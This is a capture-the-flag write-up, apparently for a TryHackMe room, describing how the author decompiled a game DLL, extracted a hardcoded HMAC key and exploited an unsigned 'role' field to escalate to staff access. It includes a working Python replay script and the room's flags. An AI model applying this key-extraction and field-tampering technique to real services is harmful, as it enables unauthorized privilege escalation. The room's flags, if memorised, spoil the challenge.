shadowe1ite - protocol

Grand Larceny Auto II — The Vault Was a Decoy

2026-08-23T00:00:00+00:00

the setup</h2>
Part 2 is almost the same build as part 1</a>, so I tried the part-1 trick first: Cheat Engine my stars to six and go for the vault. But it doesn’t crack open offline this time — the vault phones a server, runs a “proof of play,” and once the run is done it hands back a flag with a catch:</p>
</p>
`THM{n1c3_dr1v1ng_but_th4ts_th3_wr0ng_v4ult}</code></span></p>`
`“Proof of play accepted — but this is civilian access… the real vault is staff-only.”</em> So the part-1 move still earns a</em> flag — just the lesser one. The real flag lives on the server, behind a higher tier.</p>`
poking at it first</h2>
Same first move — pull the strings out of the DLL.</p>
`strings</span> -el -n 5</span> data_.../GrandLarcenyAuto.dll</span> |</span> less</span></span></code></pre>`
http://gla2.thm</span></span> GLA::vault::key::v1::stars=</span></span> Proof of play accepted — but this is civilian access.</span></span> (There's a higher tier of access...)</span></span> Staff access granted. That's the real score.</span></span></code></pre> So there’s a server</strong> (http://gla2.thm</code>), a “proof of play” you send it, and two tiers of access — civilian</strong> and staff</strong>. And this time the real flag isn’t in the binary at all; I grepped and found nothing but the decoys.</p> Decompiled it with ILSpy again (ilspycmd -p -o ./decompiled GrandLarcenyAuto.dll</code>) and checked the vault first. In part 1, TryOpen()</code> did real crypto — SHA256 a key, XOR it over a sealed blob. Here it’s gutted:</p> </p> That’s the whole method — it reads WantedStars</code>, ignores it, and returns a hardcoded THM{th3_v4ult_w4s_4_d3c0y}</code>. No star check, no crypto. So the offline vault really is a decoy — that string is the bait, not something you reach in normal play.</p> So what talks to the server? I grepped the decompiled source for the host from the strings:</p> </p> That points straight at a new class this build didn’t have before — PoPClient</code> (proof-of-play client). It’s a small HTTP state machine, and this one wasn’t obfuscated, so it read straight:</p>
public string</span> ServerUrl</span> =</span> "http://gla2.thm"</span>;</span></span> static readonly byte</span>[]</span> SignKey</span> =</span></span> Encoding.UTF8.</span>GetBytes</span>(</span>"gla2_crew_sign_v1_2f9b6c8ad14e"</span>);</span></span> </span> // POST /session {} -> { session_id, token, stash_order:[a,b,c] }</span></span> // POST /checkpoint {...} -> { ok, step, next, token }</span></span> // POST /claim {...} -> { flag, tier, note }</span></span></code></pre> The flow: open a session, send a signed checkpoint</strong> for each step in order — heat5</code>, stash{a}</code>, stash{b}</code>, stash{c}</code>, vault</code> — then claim</strong> the flag. Everything is signed with an HMAC:</p>
`static string</span> Sign</span>(</span>string</span> msg</span>)</span> =></span> HMACSHA256</span>(SignKey, msg).</span>ToHex</span>();</span></span> // checkpoint sig = Sign(sessionId + "|" + step + "|" + token)</span></span> // claim sig = Sign(sessionId + "|claim|" + token)</span></span></code></pre> Standard signed-request stuff. Then I read Claim()</code>.</p>`
the bug</h2>
public void</span> Claim</span>() {</span></span> string</span> sig</span> =</span> Sign</span>(sessionId</span> +</span> "|claim|"</span> +</span> token);</span></span> Post</span>(</span>"/claim"</span>,</span></span> "{</span>\"</span>session_id</span>\"</span>:</span>\"</span>"</span> +</span> sessionId</span> +</span> "</span>\"</span>,"</span> +</span></span> "</span>\"</span>role</span>\"</span>:</span>\"</span>player</span>\"</span>,"</span> +</span> // hard-coded</span></span> "</span>\"</span>token</span>\"</span>:</span>\"</span>"</span> +</span> token</span> +</span> "</span>\"</span>,"</span> +</span></span> "</span>\"</span>sig</span>\"</span>:</span>\"</span>"</span> +</span> sig</span> +</span> "</span>\"</span>}"</span>);</span></span> }</span></span></code></pre> The client always claims as role: "player"</code> — which the strings said is civilian</em> access. And the signature only covers sessionId + "|claim|" + token</code>. role</code> isn’t in it.</strong></p> There’s also a method the game computes but never calls:</p>
public string</span> DeriveStaffRole</span>() {</span></span> string</span> s</span> =</span> "heat5_stash"</span> +</span> StashOrder[</span>0</span>]</span></span> +</span> "_stash"</span> +</span> StashOrder[</span>1</span>]</span></span> +</span> "_stash"</span> +</span> StashOrder[</span>2</span>]</span> +</span> "_vault"</span>;</span></span> return</span> SHA1</span>(s).</span>ToHex</span>();</span> // the staff role</span></span> }</span></span></code></pre> So the game already knows how to build the staff role — a SHA1 of the stash path — it just never sends it. That’s the whole thing: do the proof of play honestly, but on the final claim send role = DeriveStaffRole()</code> instead of "player"</code>. The signature still checks out because it never covered role</code>.</p> talking to the server</h2> You could proxy the game and edit role</code> on the wire (it’s unsigned, so it goes through). But I had the sign key and the whole protocol, so I scripted the handshake in Python instead.</p> import</span> json, hmac, hashlib, urllib.request, time</span></span> BASE</span>,</span> KEY</span> =</span> "http://gla2.thm"</span>,</span> b</span>"gla2_crew_sign_v1_2f9b6c8ad14e"</span></span> def</span> sign</span>(m):</span> return</span> hmac.new(</span>KEY</span>, m.encode(), hashlib.sha256).hexdigest()</span></span> </span> s</span> =</span> post(</span>"/session"</span>, {})</span></span> sid, tok, order</span> =</span> s[</span>"session_id"</span>], s[</span>"token"</span>], s[</span>"stash_order"</span>]</span></span></code></pre> gla2.thm</code> only resolves on the room network — map it in /etc/hosts</code> (MACHINE_IP gla2.thm</code>) or just point the script at the IP.</p> </blockquote> First run died immediately:</p> [!] heat5 -> HTTP 425 {"error":"too_fast","need":6,"got":0.07}</span></span></code></pre> HTTP 425 Too Early.</strong> The server actually enforces proof of play — you have to wait ~6 seconds between checkpoints, since a real player can’t rob a stash in 70 ms. Sleep it off. Next run died one step later:</p> [+] heat5 -> next: stash0, token: "EHlh..."</span></span> [!] stash0 -> HTTP 401 {"error":"bad_token"}</span></span></code></pre> The token rotates every checkpoint</strong> — each response hands you a fresh one to sign the next request with (the client does this quietly). Carry it forward and the chain walks:</p> steps</span> =</span> [</span>"heat5"</span>]</span> +</span> [</span>"stash</span>%d</span>"</span> %</span> i</span> for</span> i</span> in</span> order]</span> +</span> [</span>"vault"</span>]</span></span> for</span> st</span> in</span> steps:</span></span> time.sleep(</span>6.4</span>)</span> # beat the too_fast gate</span></span> r</span> =</span> post(</span>"/checkpoint"</span>, {</span>"session_id"</span>: sid,</span> "step"</span>: st,</span></span> "token"</span>: tok,</span> "sig"</span>: sign(sid</span>+</span>"|"</span>+</span>st</span>+</span>"|"</span>+</span>tok)})</span></span> tok</span> =</span> r[</span>"token"</span>]</span> # rotate</span></span></code></pre> Then claim as staff</strong> instead of player:</p> role</span> =</span> hashlib.sha1(</span></span> (</span>"heat5_stash</span>%d</span>_stash</span>%d</span>_stash</span>%d</span>_vault"</span> %</span> tuple</span>(order)).encode()</span></span> ).hexdigest()</span></span> time.sleep(</span>6.4</span>)</span></span> print</span>(post(</span>"/claim"</span>, {</span>"session_id"</span>: sid,</span> "role"</span>: role,</span></span> "token"</span>: tok,</span> "sig"</span>: sign(sid</span>+</span>"|claim|"</span>+</span>tok)}))</span></span></code></pre> The response comes back with no note</code> field — the “Staff access granted”</em> tier, not civilian.</p> </p> The flag (hover to reveal):</p> THM{Th4ts_th3_wr0ng_g4m3_t0mmy}</code></span></p> wrap up</h2> Part 1 was a memory game — flip a number, open a door. Part 2 is an auth game: the flag lives on a server, and the bug is that they signed everything about the claim except</em> the field that decides your privilege. Play the run honestly, swap one unsigned field, get the real flag.</p> I used ILSpy to read the client and a bit of Python to replay the protocol. Two different bugs in the same silly little game — a good one.</p> thanks for reading. part 1 is here</a> if you skipped it.</em></p>